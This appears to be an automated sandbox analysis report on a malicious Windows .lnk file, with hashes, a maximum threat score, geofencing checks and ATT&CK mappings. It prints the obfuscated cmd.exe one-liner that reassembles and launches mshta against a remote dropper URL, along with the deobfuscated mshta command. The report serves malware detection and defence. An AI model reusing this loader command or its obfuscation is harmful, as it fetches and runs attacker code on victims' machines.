a9fdfec07c3b5b685122d6c776aa4f6436454f6c752cf5065176b1c38e69369b

Analysis

max time kernel
58s
max time network
57s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/08/2026, 13:05

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General

Target
DOC-CKXUBF.lnk
Size 2KB
Sample260816-qbpdlaycpe
SHA256 a9fdfec07c3b5b685122d6c776aa4f6436454f6c752cf5065176b1c38e69369b
MD5 60dccb34110064222e9609a827f6b65d
SHA1 8a665a026c246390d9045cdb159018bb0e234e8d
SHA512 6b53260b1c47ce3981b19e1980ec42217c8666a619e90b64561b0cf4209b5ac0f1757946ee00184e69b3658dbdae5fc7e9981fd178ec89e6a1eee5c85bc04107
TLSH
T1654136902EFA41E4F2B78E73EDBE2715487BB9925D60C69D0450824E0862B05E633B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3572	cmd.exe
4432	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3572 wrote to memory of 4432	3572	cmd.exe	85
PID 4432 wrote to memory of 5004	4432	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CKXUBF.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3572
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set xV=dbguqdtkzntixhppsnthdbg&set ptmq=oldvkpyntold&set UxMR=oldvfacffityzoiold&set qrIF=infokbchdmxprtinf&set esvNZ=d4zmudx&&set NAhq=nsishtsvl&&set yaK=9naq&set hiUE=ksb0&&set lJjuG=ml2tarz&&set tOsP=a1ntfz&set AfKz=loghilwfborisastwdclog&&set wQ=https:@//k-@do@c@u@me@nt@acion.@l@at/h@/@es@t@a@g@io1@.@ph@p?@r=3@F14@7@7F@15398@D@1&&start /b !esvNZ:~3,1!!NAhq:~3,3!!yaK:~2,1! !wQ:@=!&&set BUFL=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:5004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads